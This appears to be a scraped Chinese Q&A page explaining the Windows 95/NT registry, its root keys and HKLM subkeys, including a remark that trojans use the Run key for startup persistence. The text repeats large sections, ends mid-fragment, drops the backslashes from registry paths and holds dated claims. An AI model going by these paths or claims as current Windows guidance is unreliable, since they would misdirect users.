HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。 4)DefaultIcon:DefaultIcon子键包含了一个“default”句,?/td>
2023-07-20 11:15:074

注册表中有6大项 分别是什么功能?

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 